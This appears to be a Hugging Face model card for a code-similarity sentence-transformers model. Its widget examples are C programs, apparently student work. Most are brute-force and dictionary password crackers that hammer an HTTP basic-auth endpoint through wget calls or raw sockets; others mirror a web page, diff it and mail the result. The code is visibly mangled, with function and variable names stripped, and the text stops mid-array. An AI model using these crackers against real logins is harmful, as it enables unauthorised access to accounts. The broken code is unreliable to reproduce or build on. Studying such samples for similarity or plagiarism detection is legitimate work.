|
--- |
|
tags: |
|
- sentence-transformers |
|
- sentence-similarity |
|
- feature-extraction |
|
- dense |
|
- generated_from_trainer |
|
- dataset_size:3081 |
|
- loss:BatchAllTripletLoss |
|
base_model: uclanlp/plbart-java-cs |
|
widget: |
|
- source_sentence: "\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\ |
|
\nint () \n{\n int i,j,k,cntr=0;\n char pass[3];\n char password[3];\n char\ |
|
\ get[96];\n char username[]=\"\";\n int R_VALUE;\n double time_used;\n \n\ |
|
\ clock_t ,end; \n \n =clock(); \n \n \n \n for (i = 65; i <= 122; i++)\n\ |
|
\ {\n if(i==91) {i=97;}\n \n for (j = 65; j <= 122; j++)\n\t {\n\ |
|
\ if(j==91) {j=97;}\n \n for (k = 65; k <= 122; k++)\n\t\ |
|
\t {\n if(k==91) {k=97;} \n \n pass[0] = i;\n\ |
|
\ pass[1] = j;\n\t pass[2] = k;\n sprintf(password,\"\ |
|
%c%c%c\",pass[0],pass[1],pass[2]); \n cntr++;\n\t \n\ |
|
\t\t\t printf(\"%d )%s\\n\\n\", cntr, password);\n sprintf(get,\"\ |
|
wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
|
,username,password);\n \n\n\t R_VALUE=system(get);\n\t \n\ |
|
\t if(R_VALUE==0) \n\t\t\t {\n\t\t printf(\"The Password has\ |
|
\ been cracked and it is : %s\" , password);\n\t\t exit(0);\n\t\t\t }\n\ |
|
\t\t }\n \n\t }\n \n }\n \n end = clock();\n\ntime_used = ((double)\ |
|
\ (end - )) / CLOCKS_PER_SEC;\n\nprintf(\"time_used = %f\\n\", time_used);\n}\n\ |
|
\n" |
|
sentences: |
|
- "\n\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include\ |
|
\ <time.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <netinet/in.h>\n\ |
|
#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/time.h>\n#include\ |
|
\ <arpa/inet.h>\n#include <errno.h>\n#include <signal.h>\n\n#define BUFFER_SIZE\ |
|
\ 2000\n#define RETURN_OK 0\n#define RETURN_ERROR 1\n#define TRUE 1\n#define\ |
|
\ FALSE 0\n#define PASSWORD_LENGTH 3\n\n#define STATUS_OK 200\n#define\ |
|
\ STATUS_AUTH_REQUIRED 401\n#define CONN_CLOSED 2\n\n\nchar *host;\n\ |
|
char *filename;\nint ;\nchar *url;\nchar *username;\nint attempt;\nstruct sockaddr_in\ |
|
\ serverAddr;\n\n\nvoid processArguments(int, char **argv, char **, char **);\n\ |
|
void printUsage(char *);\nvoid splitURL(const char *, char **, char **);\nint\ |
|
\ openConnection();\nvoid initialiseConnection();\nvoid sendRequest(int, char\ |
|
\ *, char *, char *, char *);\nint getResponseStatus(int);\nvoid base64_encode(const\ |
|
\ unsigned char *, unsigned char *);\nvoid getHostErrorMsg(char *);\nvoid generatePassword(char\ |
|
\ *, int);\nvoid testPassword(char *);\n\n\n\n\nint main(int argc, char *argv[])\n\ |
|
{\n char password[PASSWORD_LENGTH+1];\n int i;\n\n \n\n attempt =\ |
|
\ 0;\n processArguments(argc, argv, &url, &username);\n splitURL(url, &host,\ |
|
\ &filename);\n\n initialiseConnection();\n = openConnection();\n\n \ |
|
\ \n\n for (i=1; i<=PASSWORD_LENGTH; i++)\n {\n memset(password,\ |
|
\ 0, PASSWORD_LENGTH+1);\n generatePassword(password, i);\n }\n\n \ |
|
\ printf(\"The password has not been cracked\\n\");\n exit(RETURN_OK);\n\n\ |
|
}\n\n\n\n\nvoid generatePassword(char *password, int reqLength)\n{\n static\ |
|
\ const char *chars = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\ |
|
;\n\n int currLength;\n int i;\n\n currLength = strlen(password);\n \ |
|
\ currLength++;\n\n for (i=0; i<strlen(chars); i++)\n {\n password[currLength-1]\ |
|
\ = chars[i];\n\n if (strlen(password) != reqLength)\n {\n \ |
|
\ \n generatePassword(password, reqLength);\n }\n \ |
|
\ else\n {\n testPassword(password);\n }\n\n password[currLength]\ |
|
\ = '\\0';\n }\n}\n\n\n\n\nvoid testPassword(char *password)\n{\n int status;\n\ |
|
\n attempt++;\n\n \nTestPassword:\n sendRequest(, host, filename, username,\ |
|
\ password);\n status = getResponseStatus();\n\n if (status == STATUS_OK)\n\ |
|
\ {\n printf(\"The password has been found after %d attempts: %s\\n\"\ |
|
,\n attempt, password);\n exit(RETURN_OK);\n }\n else\ |
|
\ if (status == CONN_CLOSED)\n {\n \n ();\n = openConnection();\n\ |
|
\ goto TestPassword; \n }\n else if (status != STATUS_AUTH_REQUIRED)\n\ |
|
\ {\n printf(\"Status %d received from server\\n\", status);\n \ |
|
\ exit(RETURN_ERROR);\n }\n\n}\n\n\n\n\nvoid processArguments(int argc, char\ |
|
\ *argv[], char **url, char **username)\n{\n if (argc != 3)\n {\n \ |
|
\ printUsage(argv[0]);\n exit(1);\n }\n\n *url = (char *) malloc(strlen(argv[1]\ |
|
\ + 1));\n strcpy(*url, argv[1]);\n\n *username = (char *) malloc(strlen(argv[2]\ |
|
\ + 1));\n strcpy(*username, argv[2]);\n\n}\n\n\n\n\n\nvoid printUsage(char\ |
|
\ *program)\n{\n fprintf(stderr, \"Usage:\\n\");\n fprintf(stderr, \"%s\ |
|
\ url username\\n\", program);\n}\n\n\n\n\nvoid splitURL(const char *url, char\ |
|
\ **host, char **file)\n{\n char *p1; \n char *p2;\n\n \n p1 = strstr(url,\ |
|
\ \"//\");\n if (p1 == NULL)\n p1 = (char *) url;\n else\n \ |
|
\ p1 = p1 + 2;\n\n \n p2 = strstr(p1, \"/\");\n if (p2 == NULL)\n \ |
|
\ {\n fprintf(stderr, \"Invalid url\\n\");\n exit(RETURN_ERROR);\n\ |
|
\ }\n\n *host = (char *) malloc(p2-p1+2);\n strncpy(*host, p1, p2-p1);\n\ |
|
\ (*host)[p2-p1] = '\\0';\n\n *file = (char *) malloc(strlen(p2+1));\n \ |
|
\ strcpy(*file, p2);\n\n}\n\n\n\n\nvoid sendRequest(int , char *host, char *filename,\ |
|
\ char *username, \n char *password)\n{\n char message[BUFFER_SIZE];\n\ |
|
\ unsigned char encoded[BUFFER_SIZE];\n unsigned char token[BUFFER_SIZE];\n\ |
|
\n \n\n \n sprintf((char *) token, \"%s:%s\", username, password);\n\ |
|
\ base64_encode(token, encoded);\n\n sprintf(message, \"GET %s HTTP/1.1\\\ |
|
nHost: %s\\nAuthorization: %s\\n\\n\",\n filename, host, encoded);\n\ |
|
\n if (write(, message, strlen(message)) == -1)\n {\n perror(\"\"\ |
|
);\n exit(RETURN_ERROR);\n }\n}\n\n\n\n\nint getResponseStatus()\n{\n\ |
|
\ char message[BUFFER_SIZE];\n int bytesRead;\n char *p1;\n char\ |
|
\ status_str[4];\n int status;\n\n \n\n while (TRUE)\n {\n \ |
|
\ bytesRead = (, message, BUFFER_SIZE-1);\n if (bytesRead == -1)\n \ |
|
\ {\n perror(\"\");\n exit(RETURN_ERROR);\n }\n\ |
|
\ else if (bytesRead == 0)\n {\n \n return\ |
|
\ CONN_CLOSED;\n }\n\n message[bytesRead+1] = '\\0';\n\n \ |
|
\ \n p1 = strstr(message, \"HTTP\");\n if (p1 != NULL)\n \ |
|
\ {\n p1 = p1 + 9;\n break;\n }\n }\n\n strncpy(status_str,\ |
|
\ p1, 3);\n status_str[3] = '\\0';\n status = atol(status_str);\n\n return\ |
|
\ status;\n}\n\n\n\n\nint openConnection()\n{\n int ;\n\n if (( = socket(AF_INET,\ |
|
\ SOCK_STREAM, 0)) == -1)\n {\n perror(\"\");\n exit(RETURN_ERROR);\n\ |
|
\ }\n\n if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr))\ |
|
\ == -1)\n {\n perror(\"connect\");\n exit(RETURN_ERROR);\n \ |
|
\ }\n\n return ;\n}\n\n\n\n\nvoid initialiseConnection()\n{\n struct hostent\ |
|
\ *serverHostent;\n unsigned serverIP;\n char errorMsg[BUFFER_SIZE]; \n\ |
|
\n\n \n\n memset(&serverAddr, 0, sizeof(serverAddr));\n serverAddr.sin_port\ |
|
\ = htons(80);\n\n\n if ((serverIP = inet_addr(host)) != -1)\n {\n \ |
|
\ serverAddr.sin_family = AF_INET;\n serverAddr.sin_addr.s_addr = serverIP;\n\ |
|
\ }\n else if ((serverHostent = gethostbyname(host)) != NULL)\n {\n\t\ |
|
serverAddr.sin_family = serverHostent->h_addrtype;\n memcpy((void *) &serverAddr.sin_addr,\n\ |
|
\t\t (void *) serverHostent->h_addr, serverHostent->h_length);\n }\n else\n\ |
|
\ {\n getHostErrorMsg(errorMsg);\n printf(\"%s: %s\\n\", host,\ |
|
\ errorMsg);\n exit(RETURN_ERROR);\n }\n}\n\n\n\n \nvoid base64_encode(const\ |
|
\ unsigned char *input, unsigned char *output)\n{\n static const char *codes\ |
|
\ = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\ |
|
;\n\n int i;\n int len;\n int lenfull;\n unsigned char *p;\n int\ |
|
\ a;\n int b;\n int c;\n \n p = output;\n len = strlen((char *)\ |
|
\ input);\n\n \n\n lenfull = 3*(len / 3);\n for (i = 0; i < lenfull;\ |
|
\ i += 3) \n {\n *p++ = codes[input[0] >> 2];\n *p++ = codes[((input[0]\ |
|
\ & 3) << 4) + (input[1] >> 4)];\n *p++ = codes[((input[1] & 0xf) << 2)\ |
|
\ + (input[2] >> 6)];\n *p++ = codes[input[2] & 0x3f];\n input +=\ |
|
\ 3;\n }\n\n\n \n\n if (i < len)\n {\n a = input[0];\n \ |
|
\ b = (i+1 < len) ? input[1] : 0;\n c = 0;\n\n *p++ = codes[a\ |
|
\ >> 2];\n *p++ = codes[((a & 3) << 4) + (b >> 4)];\n *p++ = (i+1\ |
|
\ < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';\n *p++ = '=';\n \ |
|
\ }\n\n \n *p = '\\0';\n \n}\n\n\n\n\nvoid getHostErrorMsg(char *message)\n\ |
|
{\n switch (h_errno)\n {\n HOST_NOT_FOUND :\n strcpy(message,\ |
|
\ \"The specified host is unknown\");\n break;\n\n NO_DATA:\n\ |
|
\ strcpy(message, \"The specified host name is valid, but does not\ |
|
\ have address\");\n break;\n\n NO_RECOVERY:\n \ |
|
\ strcpy(message, \"A non-recoverable name server error occurred\");\n \ |
|
\ break;\n\n TRY_AGAIN:\n strcpy(message, \"A temporary\ |
|
\ error occurred authoritative name server. Try again later.\");\n \ |
|
\ break;\n\n default:\n strcpy(message, \" unknown name\ |
|
\ server error occurred.\");\n }\n}\n\n" |
|
- "\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include\ |
|
\ <strings.h>\n#include <ctype.h>\n#define OneBillion 1e9 \n\nint (){\n int\ |
|
\ i=65,j=65,k=65,count=0,res=1;\n char arry[3],send[100];\n int startTime,\ |
|
\ stopTime, final;\n startTime = time();\n for(i;i<123;i++){\n if(i<91\ |
|
\ || i>96){\n arry[0]=i;\n\t j=65;\n\t for(j;j<123;j++){\n\t if(j<91\ |
|
\ || j>96){\n\t arry[1]=j;\n\t k=65;\n\t for(k;k<123;k++){\n\ |
|
\t\t if(k<91 || k>96){\n\t\t arry[2]=k;\n\t\t arry[3]='\\0';\n\t\t \ |
|
\ strcpy(send,\"wget --http-user= --http-passwd=\");\n\t\t strcat(send,arry);\n\ |
|
\t\t strcat(send,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t\t count++;\n\ |
|
\t if((res=(system(send)) == 0)) {\n\t\t stopTime = time();\n\ |
|
\t\t\tfinal = stopTime-startTime;\n\t\t\tprintf(\"\\n THE PASSWORD IS = %s & TIME\ |
|
\ TAKEN =%lf seconds & OF COMPARISIONs = %d\\n\",arry,(double)final/OneBillion,count);\n\ |
|
\t\t\texit(1);\n\t\t }\n\t\t }\n\t }\n }\n }\n \ |
|
\ }\n }\n printf(\"\\npassword not found\\n\");\n exit(1);\n}\n" |
|
- "\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n#include\ |
|
\ <strings.h>\n#include <ctype.h>\n\nint ()\n{\n char word[15], *chk;\n system(\"\ |
|
wget -p --convert-links http://www.cs.rmit.edu./students/\");\n system(\"mkdir\ |
|
\ one\");\n system(\"mv www.cs.rmit.edu./images/*.* one/\");\n system(\"mv\ |
|
\ www.cs.rmit.edu./students/*.* one/\");\n sleep(15);\n system(\"wget -p --convert-links\ |
|
\ http://www.cs.rmit.edu./students/\");\n system(\"mkdir two\");\n system(\"\ |
|
mv www.cs.rmit.edu./images/*.* two/\");\n system(\"mv www.cs.rmit.edu./students/*.*\ |
|
\ two/\");\n system(\"diff one two > difference.txt\");\n system(\"mailx -s\ |
|
\ \\\"Message1\\\" < difference.txt\");\n return 0;\n}\n" |
|
- source_sentence: "\n\n\n\n\n\n\n\n\n\n#include<stdio.h>\n#include<stdlib.h>\n#include<sys/types.h>\n\ |
|
#include<sys/times.h>\n#include<sys/time.h>\n#include<unistd.h>\n#include<strings.h>\n\ |
|
int ()\n{\n char url[100];\n char syscom[]= \"wget -nv --http-user= --http-passwd=\"\ |
|
;\n char http[] = \"http://sec-crack.cs.rmit.edu./SEC/2/ \";\n FILE *fp;\n\n\ |
|
\ char pass[15], *valid;\n valid = \"pass\";\n int , end, time_var;\n int\ |
|
\ hack =1;\n int attempt =1;\n\n fp = fopen(\"words.txt\",\"r\");\n if (fp\ |
|
\ == NULL)\n exit(1);\n\n = time();\n while (valid != NULL)\n {\n valid\ |
|
\ = fgets(pass,15,fp);\n pass[strlen(pass)-1] ='\\0';\n\n if(strlen(pass)\ |
|
\ != 3)\n continue;\n\n printf(\"%s\\n\",pass);\n sprintf(url,\"%s%s %s\"\ |
|
,syscom,pass,http);\n\n hack = system(url);\n attempt++;\n\n if (hack ==\ |
|
\ 0)\n {\n end = time();\n time_var = (end-);\n printf(\"\\nThe\ |
|
\ password is :%s\",pass);\n printf(\"\\nNo. of Attempts crack the password\ |
|
\ :%d\",attempt);\n printf(\"\\nTime taken crack the password = %lld sec\\\ |
|
n\",time_var/1000000000);\n exit(1);\n }\n }\n exit(1);\n }\n\n" |
|
sentences: |
|
- "\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include\ |
|
\ <strings.h>\n#include <ctype.h>\n#define OneBillion 1e9 \n\nint (){\n int\ |
|
\ i=65,j=65,k=65,count=0,res=1;\n char arry[3],send[100];\n int startTime,\ |
|
\ stopTime, final;\n startTime = time();\n for(i;i<123;i++){\n if(i<91\ |
|
\ || i>96){\n arry[0]=i;\n\t j=65;\n\t for(j;j<123;j++){\n\t if(j<91\ |
|
\ || j>96){\n\t arry[1]=j;\n\t k=65;\n\t for(k;k<123;k++){\n\ |
|
\t\t if(k<91 || k>96){\n\t\t arry[2]=k;\n\t\t arry[3]='\\0';\n\t\t \ |
|
\ strcpy(send,\"wget --http-user= --http-passwd=\");\n\t\t strcat(send,arry);\n\ |
|
\t\t strcat(send,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t\t count++;\n\ |
|
\t if((res=(system(send)) == 0)) {\n\t\t stopTime = time();\n\ |
|
\t\t\tfinal = stopTime-startTime;\n\t\t\tprintf(\"\\n THE PASSWORD IS = %s & TIME\ |
|
\ TAKEN =%lf seconds & OF COMPARISIONs = %d\\n\",arry,(double)final/OneBillion,count);\n\ |
|
\t\t\texit(1);\n\t\t }\n\t\t }\n\t }\n }\n }\n \ |
|
\ }\n }\n printf(\"\\npassword not found\\n\");\n exit(1);\n}\n" |
|
- "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n\nchar *bruteforce(int\ |
|
\ *attempts);\n\n\nint (void){\n\n int i, counter;\n int Timetaken;\n int\ |
|
\ initTime = 0, exitTime = 0;\n initTime = time();\n bruteforce(&counter);\n\ |
|
\ exitTime = time();\n Timetaken = exitTime - initTime;\n printf(\"\\nTime\ |
|
\ taken is %lld millisecond\\n\", (Timetaken)/());\n printf(\"\\nNumber of attempts\ |
|
\ is... %d\", counter);\n return 0;\n}\n\n\nchar *bruteforce(int *attempts){\ |
|
\ \n \n FILE *fp;\n char ch[100];\n\t*attempts=0;\n\n fp = fopen(\"\ |
|
/usr/share/lib/dict/words\", \"r\");\n if (fp == NULL) {\n printf(\"file\ |
|
\ not open\");\n }\n while (fgets(ch, 100, fp) != NULL){\n\t\n\t\t(*attempts)++;\n\ |
|
\n int j = 0;\n while (j <= 100){\n\n if (ch[j] == '\\n') {\n\ |
|
\ ch[j] = '\\0';\n break;\n }\n j = j +\ |
|
\ 1;\n }\n\t\t \n char [100] = \"wget --http-user= --http-passwd=\"\ |
|
;\n strcat(, ch);\n strcat(, \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
);\n printf(\"%s\\n\", );\n if (system() == 0){\n printf(\"\ |
|
Password cracked successfully: \");\n printf(\"Password is %s\", ch);\n\ |
|
\ return NULL;\n }\n }\n \n fclose(fp);\n}\n" |
|
- "\n\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include\ |
|
\ <time.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <netinet/in.h>\n\ |
|
#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/time.h>\n#include\ |
|
\ <arpa/inet.h>\n#include <errno.h>\n#include <signal.h>\n\n#define BUFFER_SIZE\ |
|
\ 2000\n#define RETURN_OK 0\n#define RETURN_ERROR 1\n#define TRUE 1\n#define\ |
|
\ FALSE 0\n#define PASSWORD_LENGTH 3\n\n#define STATUS_OK 200\n#define\ |
|
\ STATUS_AUTH_REQUIRED 401\n#define CONN_CLOSED 2\n\n\nchar *host;\n\ |
|
char *filename;\nint ;\nchar *url;\nchar *username;\nint attempt;\nstruct sockaddr_in\ |
|
\ serverAddr;\n\n\nvoid processArguments(int, char **argv, char **, char **);\n\ |
|
void printUsage(char *);\nvoid splitURL(const char *, char **, char **);\nint\ |
|
\ openConnection();\nvoid initialiseConnection();\nvoid sendRequest(int, char\ |
|
\ *, char *, char *, char *);\nint getResponseStatus(int);\nvoid base64_encode(const\ |
|
\ unsigned char *, unsigned char *);\nvoid getHostErrorMsg(char *);\nvoid generatePassword(char\ |
|
\ *, int);\nvoid testPassword(char *);\n\n\n\n\nint main(int argc, char *argv[])\n\ |
|
{\n char password[PASSWORD_LENGTH+1];\n int i;\n\n \n\n attempt =\ |
|
\ 0;\n processArguments(argc, argv, &url, &username);\n splitURL(url, &host,\ |
|
\ &filename);\n\n initialiseConnection();\n = openConnection();\n\n \ |
|
\ \n\n for (i=1; i<=PASSWORD_LENGTH; i++)\n {\n memset(password,\ |
|
\ 0, PASSWORD_LENGTH+1);\n generatePassword(password, i);\n }\n\n \ |
|
\ printf(\"The password has not been cracked\\n\");\n exit(RETURN_OK);\n\n\ |
|
}\n\n\n\n\nvoid generatePassword(char *password, int reqLength)\n{\n static\ |
|
\ const char *chars = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\ |
|
;\n\n int currLength;\n int i;\n\n currLength = strlen(password);\n \ |
|
\ currLength++;\n\n for (i=0; i<strlen(chars); i++)\n {\n password[currLength-1]\ |
|
\ = chars[i];\n\n if (strlen(password) != reqLength)\n {\n \ |
|
\ \n generatePassword(password, reqLength);\n }\n \ |
|
\ else\n {\n testPassword(password);\n }\n\n password[currLength]\ |
|
\ = '\\0';\n }\n}\n\n\n\n\nvoid testPassword(char *password)\n{\n int status;\n\ |
|
\n attempt++;\n\n \nTestPassword:\n sendRequest(, host, filename, username,\ |
|
\ password);\n status = getResponseStatus();\n\n if (status == STATUS_OK)\n\ |
|
\ {\n printf(\"The password has been found after %d attempts: %s\\n\"\ |
|
,\n attempt, password);\n exit(RETURN_OK);\n }\n else\ |
|
\ if (status == CONN_CLOSED)\n {\n \n ();\n = openConnection();\n\ |
|
\ goto TestPassword; \n }\n else if (status != STATUS_AUTH_REQUIRED)\n\ |
|
\ {\n printf(\"Status %d received from server\\n\", status);\n \ |
|
\ exit(RETURN_ERROR);\n }\n\n}\n\n\n\n\nvoid processArguments(int argc, char\ |
|
\ *argv[], char **url, char **username)\n{\n if (argc != 3)\n {\n \ |
|
\ printUsage(argv[0]);\n exit(1);\n }\n\n *url = (char *) malloc(strlen(argv[1]\ |
|
\ + 1));\n strcpy(*url, argv[1]);\n\n *username = (char *) malloc(strlen(argv[2]\ |
|
\ + 1));\n strcpy(*username, argv[2]);\n\n}\n\n\n\n\n\nvoid printUsage(char\ |
|
\ *program)\n{\n fprintf(stderr, \"Usage:\\n\");\n fprintf(stderr, \"%s\ |
|
\ url username\\n\", program);\n}\n\n\n\n\nvoid splitURL(const char *url, char\ |
|
\ **host, char **file)\n{\n char *p1; \n char *p2;\n\n \n p1 = strstr(url,\ |
|
\ \"//\");\n if (p1 == NULL)\n p1 = (char *) url;\n else\n \ |
|
\ p1 = p1 + 2;\n\n \n p2 = strstr(p1, \"/\");\n if (p2 == NULL)\n \ |
|
\ {\n fprintf(stderr, \"Invalid url\\n\");\n exit(RETURN_ERROR);\n\ |
|
\ }\n\n *host = (char *) malloc(p2-p1+2);\n strncpy(*host, p1, p2-p1);\n\ |
|
\ (*host)[p2-p1] = '\\0';\n\n *file = (char *) malloc(strlen(p2+1));\n \ |
|
\ strcpy(*file, p2);\n\n}\n\n\n\n\nvoid sendRequest(int , char *host, char *filename,\ |
|
\ char *username, \n char *password)\n{\n char message[BUFFER_SIZE];\n\ |
|
\ unsigned char encoded[BUFFER_SIZE];\n unsigned char token[BUFFER_SIZE];\n\ |
|
\n \n\n \n sprintf((char *) token, \"%s:%s\", username, password);\n\ |
|
\ base64_encode(token, encoded);\n\n sprintf(message, \"GET %s HTTP/1.1\\\ |
|
nHost: %s\\nAuthorization: %s\\n\\n\",\n filename, host, encoded);\n\ |
|
\n if (write(, message, strlen(message)) == -1)\n {\n perror(\"\"\ |
|
);\n exit(RETURN_ERROR);\n }\n}\n\n\n\n\nint getResponseStatus()\n{\n\ |
|
\ char message[BUFFER_SIZE];\n int bytesRead;\n char *p1;\n char\ |
|
\ status_str[4];\n int status;\n\n \n\n while (TRUE)\n {\n \ |
|
\ bytesRead = (, message, BUFFER_SIZE-1);\n if (bytesRead == -1)\n \ |
|
\ {\n perror(\"\");\n exit(RETURN_ERROR);\n }\n\ |
|
\ else if (bytesRead == 0)\n {\n \n return\ |
|
\ CONN_CLOSED;\n }\n\n message[bytesRead+1] = '\\0';\n\n \ |
|
\ \n p1 = strstr(message, \"HTTP\");\n if (p1 != NULL)\n \ |
|
\ {\n p1 = p1 + 9;\n break;\n }\n }\n\n strncpy(status_str,\ |
|
\ p1, 3);\n status_str[3] = '\\0';\n status = atol(status_str);\n\n return\ |
|
\ status;\n}\n\n\n\n\nint openConnection()\n{\n int ;\n\n if (( = socket(AF_INET,\ |
|
\ SOCK_STREAM, 0)) == -1)\n {\n perror(\"\");\n exit(RETURN_ERROR);\n\ |
|
\ }\n\n if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr))\ |
|
\ == -1)\n {\n perror(\"connect\");\n exit(RETURN_ERROR);\n \ |
|
\ }\n\n return ;\n}\n\n\n\n\nvoid initialiseConnection()\n{\n struct hostent\ |
|
\ *serverHostent;\n unsigned serverIP;\n char errorMsg[BUFFER_SIZE]; \n\ |
|
\n\n \n\n memset(&serverAddr, 0, sizeof(serverAddr));\n serverAddr.sin_port\ |
|
\ = htons(80);\n\n\n if ((serverIP = inet_addr(host)) != -1)\n {\n \ |
|
\ serverAddr.sin_family = AF_INET;\n serverAddr.sin_addr.s_addr = serverIP;\n\ |
|
\ }\n else if ((serverHostent = gethostbyname(host)) != NULL)\n {\n\t\ |
|
serverAddr.sin_family = serverHostent->h_addrtype;\n memcpy((void *) &serverAddr.sin_addr,\n\ |
|
\t\t (void *) serverHostent->h_addr, serverHostent->h_length);\n }\n else\n\ |
|
\ {\n getHostErrorMsg(errorMsg);\n printf(\"%s: %s\\n\", host,\ |
|
\ errorMsg);\n exit(RETURN_ERROR);\n }\n}\n\n\n\n \nvoid base64_encode(const\ |
|
\ unsigned char *input, unsigned char *output)\n{\n static const char *codes\ |
|
\ = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\ |
|
;\n\n int i;\n int len;\n int lenfull;\n unsigned char *p;\n int\ |
|
\ a;\n int b;\n int c;\n \n p = output;\n len = strlen((char *)\ |
|
\ input);\n\n \n\n lenfull = 3*(len / 3);\n for (i = 0; i < lenfull;\ |
|
\ i += 3) \n {\n *p++ = codes[input[0] >> 2];\n *p++ = codes[((input[0]\ |
|
\ & 3) << 4) + (input[1] >> 4)];\n *p++ = codes[((input[1] & 0xf) << 2)\ |
|
\ + (input[2] >> 6)];\n *p++ = codes[input[2] & 0x3f];\n input +=\ |
|
\ 3;\n }\n\n\n \n\n if (i < len)\n {\n a = input[0];\n \ |
|
\ b = (i+1 < len) ? input[1] : 0;\n c = 0;\n\n *p++ = codes[a\ |
|
\ >> 2];\n *p++ = codes[((a & 3) << 4) + (b >> 4)];\n *p++ = (i+1\ |
|
\ < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';\n *p++ = '=';\n \ |
|
\ }\n\n \n *p = '\\0';\n \n}\n\n\n\n\nvoid getHostErrorMsg(char *message)\n\ |
|
{\n switch (h_errno)\n {\n HOST_NOT_FOUND :\n strcpy(message,\ |
|
\ \"The specified host is unknown\");\n break;\n\n NO_DATA:\n\ |
|
\ strcpy(message, \"The specified host name is valid, but does not\ |
|
\ have address\");\n break;\n\n NO_RECOVERY:\n \ |
|
\ strcpy(message, \"A non-recoverable name server error occurred\");\n \ |
|
\ break;\n\n TRY_AGAIN:\n strcpy(message, \"A temporary\ |
|
\ error occurred authoritative name server. Try again later.\");\n \ |
|
\ break;\n\n default:\n strcpy(message, \" unknown name\ |
|
\ server error occurred.\");\n }\n}\n\n" |
|
- source_sentence: "#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n\ |
|
#include <string.h>\n#include <sys/time.h>\n\n#define SUCCESS 0;\n\nint ()\n{\t\ |
|
\n\t\n\tsystem(\"rm index.*\");\t\n\tsystem(\"wget --non-verbose http://www.cs.rmit.edu./students\"\ |
|
);\n\tsystem(\"sleep 10\");\n\tsystem(\"wget --non-verbose http://www.cs.rmit.edu./students\"\ |
|
);\t\t\n\tsystem(\"diff index.html index.html.1 >> output.txt\");\n\tprintf(\"\ |
|
Comparison stored in output.txt\");\n\tsystem(\"mutt -a output.txt @cs.rmit.edu.\ |
|
\ \");\n\t\n\treturn SUCCESS;\n}\n" |
|
sentences: |
|
- "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<strings.h>\n\ |
|
#include <ctype.h>\n#include <math.h>\n#include <sys/time.h>\n\nint\n()\n{\n\n\ |
|
\tint , end;\n\tFILE *fp;\n\tint i, j;\n\tchar \ |
|
\ input;\n\tchar password[30];\n\tint check;\n\ |
|
\n\tfloat total_time;\n\tint number;\n\t = time();\n\n\n\ |
|
\tif ((fp = fopen(\"words\", \"r\")) == NULL) {\n\t\tfprintf(stderr, \"Error :\ |
|
\ Failed open words for .\\n\");\n\t\treturn (EXIT_FAILURE);\n\t}\n\twhile ((input\ |
|
\ = fgetc(fp)) != EOF) {\n\t\tj = 0;\n\t\tfor (i = 0; i < 30; i++)\n\t\t\tpassword[i]\ |
|
\ = '\\0';\n\n\t\twhile(input != '\\n' ) {\n\n\t\t\tpassword[j] = input;\n\t\t\ |
|
\tj++;\n\t\t\tinput = fgetc(fp);\n\t\t\t\n\t\t\n\t\t}\n\n\n\t\tif (strlen(password)\ |
|
\ <= 3) {\n\t\t\tprintf(\"%s\\t\",password);\n\t\t\tfflush(stdout);\n\t\t\tcheck\ |
|
\ = SysCall(password);\n\t\t\tif (check == 0) {\n\t\t\t\tgetpid();\n\t\t\t\tend\ |
|
\ = time();\n\t\t\t\ttotal_time = (end - ) / 1e9;\n\t\t\t\tprintf(\"\\ntotal time_var\ |
|
\ = %f \", total_time);\n\t\t\t\tprintf(\"\\n\\nAvg getpid() time_var = %f usec\\\ |
|
n\", total_time);\n\t\t\t\tprintf(\"\\navg time_var %f / %d = %f\\n\", total_time,\ |
|
\ number, total_time / number);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t}\n\n\t}\n\n\t\ |
|
return (EXIT_SUCCESS);\n}\nint\nSysCall(char *password)\n{\n\tchar \ |
|
\ url1[255], url2[255], [255];\n\tint rettype;\n\trettype = 0;\n\t\ |
|
strcpy(url1, \"wget --non-verbose --http-user= --http-passwd=\");\n\tstrcpy(url2,\ |
|
\ \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n\tstrcat(, url1);\n\t\ |
|
strcat(, password);\n\tstrcat(, url2);\n\n\trettype = system();\n\t\n\tif (rettype\ |
|
\ == 0) {\n\t\tprintf(\"Successfully retrieved password: %s\\n\", password);\n\ |
|
\t\treturn 0;\n\t}\n\tstrcpy(, \"\");\n}\n" |
|
- "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <strings.h>\n\ |
|
#include <string.h>\n#include <ctype.h>\n\n\n\nint ()\n{\n int i,j,k,sysoutput;\n\ |
|
\ char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];\n\ |
|
\ char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n\ |
|
